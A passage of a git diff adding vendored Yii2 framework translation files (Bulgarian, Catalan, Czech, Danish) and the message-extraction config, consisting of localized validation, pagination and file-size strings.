file.' => 'Моля, прикачете файл.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Показване на {begin, number}-{end, number} от {totalCount, number} {totalCount, plural, one{запис} other{записа}}.', + 'The file "{file}" is not an image.' => 'Файлът "{file}" не е изображение.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Фйлът "{file}" е твърде голям. Размерът на файла не трябва да превишава {limit, number} {limit, plural, one{байт} other{байта}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Файлът "{file}" е твърде малък. Размерът на файла трябва да е поне {limit, number} {limit, plural, one{байт} other{байта}}.', + 'The format of {attribute} is invalid.' => 'Невалиден формат за "{attribute}".', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Изображението "{file}" е твърде голямо. Височината не трябва да е по-голяма от {limit, number} {limit, plural, one{пиксел} other{пиксела}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Изображението "{file}" е твърде голямо. Широчината не трябва да е по-голяма от {limit, number} {limit, plural, one{пиксел} other{пиксела}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Изображението "{file}" е твърде малко. Височината трябва да е поне {limit, number} {limit, plural, one{пиксел} other{пиксела}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Изображението "{file}" е твърде малко. Широчината трябва да е поне {limit, number} {limit, plural, one{пиксел} other{пиксела}}.', + 'The requested view "{name}" was not found.' => 'Завения view файл "{name}" не беше открит', + 'The verification code is incorrect.' => 'Неправилен код за проверка.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => '{count, number} {count, plural, one{запис} other{записа}}.', + 'Unable to verify your data submission.' => 'Не може да се валидират подадените данни.', + 'Unknown command "{command}".' => 'Несъществуваща команда "{command}".', + 'Unknown option: --{name}' => 'Несъществуваща опция : --{name}', + 'Update' => 'Обнови', + 'View' => 'Виж', + 'Yes' => 'Да', + 'You are not allowed to perform this action.' => 'Нямате права да изпълните тази операция.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Може да прикачите най-много {limit, number} {limit, plural, one{файл} other{файла}}.', + 'in {delta, plural, =1{a day} other{# days}}' => 'след {delta, plural, =1{ден} other{# дни}}', + 'in {delta, plural, =1{a minute} other{# minutes}}' => 'след {delta, plural, =1{минута} other{# минути}}', + 'in {delta, plural, =1{a month} other{# months}}' => 'след {delta, plural, =1{месец} other{# месеца}}', + 'in {delta, plural, =1{a second} other{# seconds}}' => 'след {delta, plural, =1{секунда} other{# секунди}}', + 'in {delta, plural, =1{a year} other{# years}}' => 'след {delta, plural, =1{година} other{# години}}', + 'in {delta, plural, =1{an hour} other{# hours}}' => 'след {delta, plural, =1{час} other{# часа}}', + 'the input value' => 'стойността', + '{attribute} "{value}" has already been taken.' => '{attribute} "{value}" вече е зает.', + '{attribute} cannot be blank.' => 'Попълнете полето "{attribute}".', + '{attribute} is invalid.' => 'Полето "{attribute}" е некоректно попълнено.', + '{attribute} is not a valid URL.' => 'Полето "{attribute}" съдържа невалиден УЕБ адрес.', + '{attribute} is not a valid email address.' => 'Полето "{attribute}" съдържа невалиден email адрес.', + '{attribute} must be "{requiredValue}".' => 'Полето "{attribute}" трябва да съдържа "{requiredValue}".', + '{attribute} must be a number.' => 'Полето "{attribute}" съдържа невалиден номер.', + '{attribute} must be a string.' => 'Полето "{attribute}" трябва съдържа текст.', + '{attribute} must be an integer.' => 'Полето "{attribute}" трябва да съдържа цяло число.', + '{attribute} must be either "{true}" or "{false}".' => 'Полето "{attribute}" трябва да бъде "{true}" или "{false}".', + '{attribute} must be greater than "{compareValue}".' => 'Полето "{attribute}" трябва да е по-голямо от "{compareValue}".', + '{attribute} must be greater than or equal to "{compareValue}".' => 'Полето "{attribute}" трябва да е по-големо или равно на «{compareValue}».', + '{attribute} must be less than "{compareValue}".' => 'Полето "{attribute}" трябва да е по-малко от "{compareValue}".', + '{attribute} must be less than or equal to "{compareValue}".' => 'Полето "{attribute}" трябва да е по-малко или равно на "{compareValue}".', + '{attribute} must be no greater than {max}.' => 'Полето "{attribute}" не трябва да е по-голямо от {max}.', + '{attribute} must be no less than {min}.' => 'Полето "{attribute}" не трябва да е по-малко от {min}.', + '{attribute} must be repeated exactly.' => 'Полето "{attribute}" трябва да бъде повторено точно.', + '{attribute} must not be equal to "{compareValue}".' => 'Полето «{attribute}» не трябва да е равно на "{compareValue}".', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => 'Полето {attribute} трябва да съдържа поне {min, number} {min, plural, one{символ} other{символа}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => 'Полето "{attribute}" трябва да съдържа най-много {max, number} {max, plural, one{символ} other{символа}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => 'Полето "{attribute}" трябва да съдържа точно {length, number} {length, plural, one{символ} other{символа}}.', + '{delta, plural, =1{a day} other{# days}} ago' => 'преди {delta, plural, =1{ден} other{# дни}}', + '{delta, plural, =1{a minute} other{# minutes}} ago' => 'преди {delta, plural, =1{минута} other{# минути}}', + '{delta, plural, =1{a month} other{# months}} ago' => 'преди {delta, plural, =1{месец} other{# месеца}}', + '{delta, plural, =1{a second} other{# seconds}} ago' => 'преди {delta, plural, =1{секунда} other{# секунди}}', + '{delta, plural, =1{a year} other{# years}} ago' => 'преди{delta, plural, =1{година} other{# години}}', + '{delta, plural, =1{an hour} other{# hours}} ago' => '{delta, plural, =1{час} other{# часа}}', + '{n, plural, =1{# byte} other{# bytes}}' => '{n, plural, =1{# байт} other{# байта}}', + '{n, plural, =1{# gigabyte} other{# gigabytes}}' => '{n, plural, =1{# гигабайт} other{# гигабайта}}', + '{n, plural, =1{# kilobyte} other{# kilobytes}}' => '{n, plural, =1{# килобайт} other{# килобайта}}', + '{n, plural, =1{# megabyte} other{# megabytes}}' => '{n, plural, =1{# мегабайт} other{# мегабайта}}', + '{n, plural, =1{# petabyte} other{# petabytes}}' => '{n, plural, =1{# петабайт} other{# петабайта}}', + '{n, plural, =1{# terabyte} other{# terabytes}}' => '{n, plural, =1{# терабайт} other{# терабайта}}', + '{n} B' => '{n} Б', + '{n} GB' => '{n} ГБ', + '{n} KB' => '{n} КБ', + '{n} MB' => '{n} МБ', + '{n} PB' => '{n} ПБ', + '{n} TB' => '{n} ТБ', +); diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/ca/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/ca/yii.php new file mode 100644 index 00000000..c41e3634 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/ca/yii.php @@ -0,0 +1,105 @@ + '(no establert)', + 'An internal server error occurred.' => 'S\'ha produït un error intern al servidor.', + 'Are you sure you want to delete this item?' => 'Estas segur que vols eliminar aquest element?', + 'Delete' => 'Eliminar', + 'Error' => 'Error', + 'File upload failed.' => 'Ha fallat la pujada del fitxer.', + 'Home' => 'Inici', + 'Invalid data received for parameter "{param}".' => 'S\'han rebut dades errònies pel paràmetre "{param}"', + 'Login Required' => 'Login Requerit', + 'Missing required arguments: {params}' => 'Falten arguments requerits: {params}', + 'Missing required parameters: {params}' => 'Falten paràmetres requerits: {params}', + 'No' => 'No', + 'No help for unknown command "{command}".' => 'No hi ha ajuda per l\'ordre desconeguda "{command}"', + 'No help for unknown sub-command "{command}".' => 'No hi ha ajuda per la sub-ordre desconeguda "{command}"', + 'No results found.' => 'No s\'han trobat resultats.', + 'Only files with these MIME types are allowed: {mimeTypes}.' => 'Només s\'accepten arxius amb els següents tipus MIME: {mimeTypes}.', + 'Only files with these extensions are allowed: {extensions}.' => 'Només s\'accepten arxius amb les seguents extensions: {extensions}', + 'Page not found.' => 'No s\'ha trobat la pàgina.', + 'Please fix the following errors:' => 'Si us plau corregeix els següents errors:', + 'Please upload a file.' => 'Si us plau puja un arxiu.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Mostrant {begin, number}-{end, number} de {totalCount, number} {totalCount, plural, one{element} other{elements}}.', + 'The file "{file}" is not an image.' => 'L\'arxiu "{file}" no és una imatge.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'L\'arxiu "{file}" és massa gran. El seu tamany no pot excedir {limit, number} {limit, plural, one{byte} other{bytes}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'L\'arxiu "{file}" és massa petit. El seu tamany no pot ser menor que {limit, number} {limit, plural, one{byte} other{bytes}}.', + 'The format of {attribute} is invalid.' => 'El format de {attribute} és invalid.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'La imatge "{file}" és massa gran. L\'altura no pot ser major que {limit, number} {limit, plural, one{píxel} other{píxels}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'La imatge "{file}" és massa gran. L\'amplada no pot ser major que {limit, number} {limit, plural, one{píxel} other{píxels}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'La imatge "{file}" és massa petita. L\'altura no pot ser menor que {limit, number} {limit, plural, one{píxel} other{píxels}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'La imatge "{file}" és massa petita. L\'amplada no pot ser menor que {limit, number} {limit, plural, one{píxel} other{píxels}}.', + 'The verification code is incorrect.' => 'El codi de verificació és incorrecte.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Total {count, number} {count, plural, one{element} other{elements}}.', + 'Unable to verify your data submission.' => 'No s\'ha pogut verificar les dades enviades.', + 'Unknown command "{command}".' => 'Ordre desconeguda "{command}".', + 'Unknown option: --{name}' => 'Opció desconeguda: --{name}', + 'Update' => 'Actualitzar', + 'View' => 'Veure', + 'Yes' => 'Sí', + 'You are not allowed to perform this action.' => 'No tems permís per executar aquesta acció.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Pots pujar com a màxim {limit, number} {limit, plural, one{arxiu} other{arxius}}.', + 'in {delta, plural, =1{a day} other{# days}}' => 'en {delta, plural, =1{un dia} other{# dies}}', + 'in {delta, plural, =1{a minute} other{# minutes}}' => 'en {delta, plural, =1{un minut} other{# minuts}}', + 'in {delta, plural, =1{a month} other{# months}}' => 'en {delta, plural, =1{un mes} other{# mesos}}', + 'in {delta, plural, =1{a second} other{# seconds}}' => 'en {delta, plural, =1{un segon} other{# segons}}', + 'in {delta, plural, =1{a year} other{# years}}' => 'en {delta, plural, =1{un any} other{# anys}}', + 'in {delta, plural, =1{an hour} other{# hours}}' => 'en {delta, plural, =1{una hora} other{# hores}}', + 'the input value' => 'el valor d\'entrada', + '{attribute} "{value}" has already been taken.' => '{attribute} "{value}" ja ha sigut utilitzat.', + '{attribute} cannot be blank.' => '{attribute} no pot estar buit.', + '{attribute} is invalid.' => '{attribute} és invalid.', + '{attribute} is not a valid URL.' => '{attribute} no és una URL valida.', + '{attribute} is not a valid email address.' => '{attribute} no es una direcció de correu valida.', + '{attribute} must be "{requiredValue}".' => '{attribute} ha de ser "{requiredValue}".', + '{attribute} must be a number.' => '{attribute} ha de ser un nombre.', + '{attribute} must be a string.' => '{attribute} ha de ser una cadena de caràcters.', + '{attribute} must be an integer.' => '{attribute} ha de ser un nombre enter.', + '{attribute} must be either "{true}" or "{false}".' => '{attribute} ha de ser "{true}" o "{false}".', + '{attribute} must be greater than "{compareValue}".' => '{attribute} ha de ser major que "{compareValue}', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute} ha de ser major o igual que "{compareValue}".', + '{attribute} must be less than "{compareValue}".' => '{attribute} ha de ser menor que "{compareValue}".', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute} ha de ser menor o igual que "{compareValue}".', + '{attribute} must be no greater than {max}.' => '{attribute} no pot ser major que {max}.', + '{attribute} must be no less than {min}.' => '{attribute} no pot ser menor que {min}.', + '{attribute} must be repeated exactly.' => '{attribute} ha de ser repetit exactament igual.', + '{attribute} must not be equal to "{compareValue}".' => '{attribute} no pot ser igual que "{compareValue}".', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute} hauria de contenir com a mínim {min, number} {min, plural, one{lletra} other{lletres}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute} hauria de contenir com a màxim {max, number} {max, plural, one{lletra} other{lletres}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute} hauria contenir {length, number} {length, plural, one{lletra} other{lletres}}.', + '{delta, plural, =1{a day} other{# days}} ago' => 'hace {delta, plural, =1{un dia} other{# dies}}', + '{delta, plural, =1{a minute} other{# minutes}} ago' => 'fa {delta, plural, =1{un minut} other{# minuts}}', + '{delta, plural, =1{a month} other{# months}} ago' => 'fa {delta, plural, =1{un mes} other{# mesos}}', + '{delta, plural, =1{a second} other{# seconds}} ago' => 'fa {delta, plural, =1{un segon} other{# segons}}', + '{delta, plural, =1{a year} other{# years}} ago' => 'fa {delta, plural, =1{un any} other{# anys}}', + '{delta, plural, =1{an hour} other{# hours}} ago' => 'fa {delta, plural, =1{una hora} other{# hores}}', + '{n, plural, =1{# byte} other{# bytes}}' => '{n, plural, =1{# byte} other{# bytes}}', + '{n, plural, =1{# gigabyte} other{# gigabytes}}' => '{n, plural, =1{# gigabyte} other{# gigabytes}}', + '{n, plural, =1{# kilobyte} other{# kilobytes}}' => '{n, plural, =1{# kilobyte} other{# kilobytes}}', + '{n, plural, =1{# megabyte} other{# megabytes}}' => '{n, plural, =1{# megabyte} other{# megabytes}}', + '{n, plural, =1{# petabyte} other{# petabytes}}' => '{n, plural, =1{# petabyte} other{# petabytes}}', + '{n, plural, =1{# terabyte} other{# terabytes}}' => '{n, plural, =1{# terabyte} other{# terabytes}}', + '{n} B' => '{n} B', + '{n} GB' => '{n} GB', + '{n} KB' => '{n} KB', + '{n} MB' => '{n} MB', + '{n} PB' => '{n} PB', + '{n} TB' => '{n} TB', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/config.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/config.php new file mode 100644 index 00000000..9813d46e --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/config.php @@ -0,0 +1,52 @@ + __DIR__ . '/..', + // string, required, root directory containing message translations. + 'messagePath' => __DIR__, + // array, required, list of language codes that the extracted messages + // should be translated to. For example, ['zh-CN', 'de']. + 'languages' => ['ar', 'bg', 'ca', 'cs', 'da', 'de', 'el', 'es', 'et', 'fa-IR', 'fi', 'fr', 'hu', 'id', 'it', 'ja', 'kk', 'ko', 'lt', 'lv', 'nl', 'pl', 'pt', 'pt-BR', 'ro', 'ru', 'sk', 'sr', 'sr-Latn', 'th', 'uk', 'vi', 'zh-CN','zh-TW'], + // string, the name of the function for translating messages. + // Defaults to 'Yii::t'. This is used as a mark to find the messages to be + // translated. You may use a string for single function name or an array for + // multiple function names. + 'translator' => 'Yii::t', + // boolean, whether to sort messages by keys when merging new messages + // with the existing ones. Defaults to false, which means the new (untranslated) + // messages will be separated from the old (translated) ones. + 'sort' => false, + // boolean, whether the message file should be overwritten with the merged messages + 'overwrite' => true, + // boolean, whether to remove messages that no longer appear in the source code. + // Defaults to false, which means each of these messages will be enclosed with a pair of '@@' marks. + 'removeUnused' => false, + // array, list of patterns that specify which files/directories should NOT be processed. + // If empty or not set, all files/directories will be processed. + // A path matches a pattern if it contains the pattern string at its end. For example, + // '/a/b' will match all files and directories ending with '/a/b'; + // the '*.svn' will match all files and directories whose name ends with '.svn'. + // and the '.svn' will match all files and directories named exactly '.svn'. + // Note, the '/' characters in a pattern matches both '/' and '\'. + // See helpers/FileHelper::findFiles() description for more details on pattern matching rules. + 'except' => [ + '.svn', + '.git', + '.gitignore', + '.gitkeep', + '.hgignore', + '.hgkeep', + '/messages', + '/BaseYii.php', // contains examples about Yii:t() + ], + // array, list of patterns that specify which files (not directories) should be processed. + // If empty or not set, all files will be processed. + // Please refer to "except" for details about the patterns. + // If a file/directory matches both a pattern in "only" and "except", it will NOT be processed. + 'only' => ['*.php'], + // Generated file format. Can be "php", "db" or "po". + 'format' => 'php', + // Connection component ID for "db" format. + //'db' => 'db', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/cs/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/cs/yii.php new file mode 100644 index 00000000..7cac15c7 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/cs/yii.php @@ -0,0 +1,106 @@ + '(není zadáno)', + 'An internal server error occurred.' => 'Vyskytla se vnitřní chyba serveru.', + 'Are you sure you want to delete this item?' => 'Opravdu chcete smazat tuto položku?', + 'Delete' => 'Smazat', + 'Error' => 'Chyba', + 'File upload failed.' => 'Nepodařilo se nahrát soubor.', + 'Home' => 'Úvod', + 'Invalid data received for parameter "{param}".' => 'Přijata neplatná data pro parametr "{param}".', + 'Login Required' => 'Je zapotřebí se přihlásit.', + 'Missing required arguments: {params}' => 'Chybí povinné argumenty: {params}', + 'Missing required parameters: {params}' => 'Chybí povinné parametry: {params}', + 'No' => 'Ne', + 'No help for unknown command "{command}".' => 'K neznámému příkazu "{command}" neexistuje nápověda.', + 'No help for unknown sub-command "{command}".' => 'K neznámému pod-příkazu "{command}" neexistuje nápověda.', + 'No results found.' => 'Nenalezeny žádné záznamy.', + 'Only files with these MIME types are allowed: {mimeTypes}.' => 'Povolené jsou pouze soubory následujících MIME typů: {mimeTypes}.', + 'Only files with these extensions are allowed: {extensions}.' => 'Povolené jsou pouze soubory s následujícími příponami: {extensions}.', + 'Page not found.' => 'Stránka nenalezena.', + 'Please fix the following errors:' => 'Opravte prosím následující chyby:', + 'Please upload a file.' => 'Nahrajte prosím soubor.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => '{totalCount, plural, one{Zobrazen} few{Zobrazeny} other{Zobrazeno}} {totalCount, plural, one{{begin, number}} other{{begin, number}-{end, number}}} z {totalCount, number} {totalCount, plural, one{záznamu} other{záznamů}}.', + 'The file "{file}" is not an image.' => 'Soubor "{file}" není obrázek.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Soubor "{file}" je příliš velký. Velikost souboru nesmí přesáhnout {limit, number} {limit, plural, one{byte} few{byty} other{bytů}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Soubor "{file}" je příliš malý. Velikost souboru nesmí být méně než {limit, number} {limit, plural, one{byte} few{byty} other{bytů}}.', + 'The format of {attribute} is invalid.' => 'Formát údaje {attribute} je neplatný.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Obrázek "{file}" je příliš velký. Výška nesmí přesáhnout {limit, number} {limit, plural, one{pixel} few{pixely} other{pixelů}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Obrázek "{file}" je příliš velký. Šířka nesmí přesáhnout {limit, number} {limit, plural, one{pixel} few{pixely} other{pixelů}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Obrázek "{file}" je příliš malý. Výška nesmí být méně než {limit, number} {limit, plural, one{pixel} few{pixely} other{pixelů}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Obrázek "{file}" je příliš malý. Šířka nesmí být méně než {limit, number} {limit, plural, one{pixel} few{pixely} other{pixelů}}.', + 'The requested view "{name}" was not found.' => 'Nebyl nalezen požadovaný náhled "{name}".', + 'The verification code is incorrect.' => 'Nesprávný ověřovací kód.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Celkem {count, number} {count, plural, one{záznam} few{záznamy} other{záznamů}}.', + 'Unable to verify your data submission.' => 'Nebylo možné ověřit odeslané údaje.', + 'Unknown command "{command}".' => 'Neznámý příkaz "{command}".', + 'Unknown option: --{name}' => 'Neznámá volba: --{name}', + 'Update' => 'Upravit', + 'View' => 'Náhled', + 'Yes' => 'Ano', + 'You are not allowed to perform this action.' => 'Nemáte oprávnění pro požadovanou akci.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Nahrát můžete nanejvýš {limit, number} {limit, plural, one{soubor} few{soubory} other{souborů}}.', + 'in {delta, plural, =1{a day} other{# days}}' => 'za {delta, plural, =1{den} few{# dny} other{# dnů}}', + 'in {delta, plural, =1{a minute} other{# minutes}}' => 'za {delta, plural, =1{minutu} few{# minuty} other{# minut}}', + 'in {delta, plural, =1{a month} other{# months}}' => 'za {delta, plural, =1{měsíc} few{# měsíce} other{# měsíců}}', + 'in {delta, plural, =1{a second} other{# seconds}}' => 'za {delta, plural, =1{sekundu} few{# sekundy} other{# sekund}}', + 'in {delta, plural, =1{a year} other{# years}}' => 'za {delta, plural, =1{rok} few{# roky} other{# let}}', + 'in {delta, plural, =1{an hour} other{# hours}}' => 'za {delta, plural, =1{hodinu} few{# hodiny} other{# hodin}}', + 'just now' => 'právě teď', + 'the input value' => 'vstupní hodnota', + '{attribute} "{value}" has already been taken.' => 'Hodnota "{value}" pro údaj {attribute} již byla dříve použita.', + '{attribute} cannot be blank.' => 'Je zapotřebí vyplnit {attribute}.', + '{attribute} is invalid.' => 'Neplatná hodnota pro {attribute}.', + '{attribute} is not a valid URL.' => '{attribute} není platná URL.', + '{attribute} is not a valid email address.' => 'Pro {attribute} nebyla použita platná emailová adresa.', + '{attribute} must be "{requiredValue}".' => '{attribute} musí být "{requiredValue}".', + '{attribute} must be a number.' => '{attribute} musí být číslo.', + '{attribute} must be a string.' => '{attribute} musí být řetězec.', + '{attribute} must be an integer.' => '{attribute} musí být celé číslo.', + '{attribute} must be either "{true}" or "{false}".' => '{attribute} musí být buď "{true}" nebo "{false}".', + '{attribute} must be greater than "{compareValue}".' => '{attribute} musí být větší než "{compareValue}".', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute} musí být větší nebo roven "{compareValue}".', + '{attribute} must be less than "{compareValue}".' => '{attribute} musí být menší než "{compareValue}".', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute} musí být menší nebo roven "{compareValue}".', + '{attribute} must be no greater than {max}.' => '{attribute} nesmí být větší než {max}.', + '{attribute} must be no less than {min}.' => '{attribute} nesmí být menší než {min}.', + '{attribute} must be repeated exactly.' => 'Údaj {attribute} je třeba zopakovat přesně.', + '{attribute} must not be equal to "{compareValue}".' => '{attribute} se nesmí rovnat "{compareValue}".', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute} musí obsahovat alespoň {min, number} {min, plural, one{znak} few{znaky} other{znaků}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute} může obsahovat nanejvýš {max, number} {max, plural, one{znak} few{znaky} other{znaků}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute} musí obsahovat {length, number} {length, plural, one{znak} few{znaky} other{znaků}}.', + '{delta, plural, =1{a day} other{# days}} ago' => '{delta, plural, =1{včera} other{před # dny}}', + '{delta, plural, =1{a minute} other{# minutes}} ago' => 'před {delta, plural, =1{minutou} other{# minutami}}', + '{delta, plural, =1{a month} other{# months}} ago' => 'před {delta, plural, =1{měsícem} other{# měsíci}}', + '{delta, plural, =1{a second} other{# seconds}} ago' => 'před {delta, plural, =1{sekundou} other{# sekundami}}', + '{delta, plural, =1{a year} other{# years}} ago' => 'před {delta, plural, =1{rokem} other{# lety}}', + '{delta, plural, =1{an hour} other{# hours}} ago' => 'před {delta, plural, =1{hodinou} other{# hodinami}}', + '{nFormatted} {n, plural, =1{byte} other{bytes}}' => '{nFormatted} {n, plural, =1{byte} few{byty} other{bytů}}', + '{nFormatted} {n, plural, =1{gibibyte} other{gibibytes}}' => '{nFormatted} {n, plural, =1{gibibyte} few{gibibyty} other{gibibytů}}', + '{nFormatted} {n, plural, =1{gigabyte} other{gigabytes}}' => '{nFormatted} {n, plural, =1{gigabyte} few{gigabyty} other{gigabytů}}', + '{nFormatted} {n, plural, =1{kibibyte} other{kibibytes}}' => '{nFormatted} {n, plural, =1{kibibyte} few{kibibyty} other{kibibytů}}', + '{nFormatted} {n, plural, =1{kilobyte} other{kilobytes}}' => '{nFormatted} {n, plural, =1{kilobyte} few{kilobyty} other{kilobytů}}', + '{nFormatted} {n, plural, =1{mebibyte} other{mebibytes}}' => '{nFormatted} {n, plural, =1{mebibyte} few{mebibyty} other{mebibytů}}', + '{nFormatted} {n, plural, =1{megabyte} other{megabytes}}' => '{nFormatted} {n, plural, =1{megabyte} few{megabyty} other{megabytů}}', + '{nFormatted} {n, plural, =1{pebibyte} other{pebibytes}}' => '{nFormatted} {n, plural, =1{pebibyte} few{pebibyty} other{pebibytů}}', + '{nFormatted} {n, plural, =1{petabyte} other{petabytes}}' => '{nFormatted} {n, plural, =1{petabyte} few{petabyty} other{petabytů}}', + '{nFormatted} {n, plural, =1{tebibyte} other{tebibytes}}' => '{nFormatted} {n, plural, =1{tebibyte} few{tebibyty} other{tebibytů}}', + '{nFormatted} {n, plural, =1{terabyte} other{terabytes}}' => '{nFormatted} {n, plural, =1{terabyte} few{terabyty} other{terabytů}}', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/da/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/da/yii.php new file mode 100644 index 00000000..e5a03611 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/da/yii.php @@ -0,0 +1,106 @@ + '(ikke defineret)', + 'An internal server error occurred.' => 'Der opstod en intern server fejl.', + 'Are you sure you want to delete this item?' => 'Er du sikker på, at du vil slette dette element?', + 'Delete' => 'Slet', + 'Error' => 'Fejl', + 'File upload failed.' => 'Upload af fil fejlede.', + 'Home' => 'Start', + 'Invalid data received for parameter "{param}".' => 'Ugyldig data modtaget for parameteren "{param}".', + 'Login Required' => 'Login Påkrævet', + 'Missing required arguments: {params}' => 'Påkrævede argumenter mangler: {params}', + 'Missing required parameters: {params}' => 'Påkrævede parametre mangler: {params}', + 'No' => 'Nej', + 'No help for unknown command "{command}".' => 'Ingen hjælp til ukendt kommando "{command}".', + 'No help for unknown sub-command "{command}".' => 'Ingen hjælp til ukendt under-kommando "{command}".', + 'No results found.' => 'Ingen resultater fundet.', + 'Only files with these MIME types are allowed: {mimeTypes}.' => 'Kun filer med følgende MIME-typer er tilladte: {mimeTypes}.', + 'Only files with these extensions are allowed: {extensions}.' => 'Kun filer med følgende filtyper er tilladte: {extensions}.', + 'Page not found.' => 'Siden blev ikke fundet.', + 'Please fix the following errors:' => 'Ret venligst følgende fejl:', + 'Please upload a file.' => 'Venligst upload en fil.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Viser {begin, number}-{end, number} af {totalCount, number} {totalCount, plural, one{element} other{elementer}}.', + 'The file "{file}" is not an image.' => 'Filen "{file}" er ikke et billede.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Filen "{file}" er for stor. Størrelsen må ikke overstige {limit, number} {limit, plural, one{byte} other{bytes}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Filen "{file}" er for lille. Størrelsen må ikke være mindre end {limit, number} {limit, plural, one{byte} other{bytes}}.', + 'The format of {attribute} is invalid.' => 'Formatet af {attribute} er ugyldigt.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Billedet "{file}" er for stort. Højden må ikke være større end {limit, number} {limit, plural, one{pixel} other{pixels}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Billedet "{file}" er for stort. Bredden må ikke være større end {limit, number} {limit, plural, one{pixel} other{pixels}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Billedet "{file}" er for lille. Højden må ikke være mindre end {limit, number} {limit, plural, one{pixel} other{pixels}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Billedet "{file}" er for lille. Bredden må ikke være mindre end {limit, number} {limit, plural, one{pixel} other{pixels}}.', + 'The requested view "{name}" was not found.' => 'Den ønskede visning "{name}" blev ikke fundet.', + 'The verification code is incorrect.' => 'Verifikationskoden er ikke korrekt.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Total {count, number} {count, plural, one{element} other{elementer}}.', + 'Unable to verify your data submission.' => 'Kunne ikke verificere din data indsendelse.', + 'Unknown command "{command}".' => 'Ukendt kommando "{command}".', + 'Unknown option: --{name}' => 'Ukendt option: --{name}', + 'Update' => 'Opdatér', + 'View' => 'Vis', + 'Yes' => 'Ja', + 'You are not allowed to perform this action.' => 'Du har ikke tilladelse til at udføre denne handling.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Du kan højst uploade {limit, number} {limit, plural, one{fil} other{filer}}.', + 'in 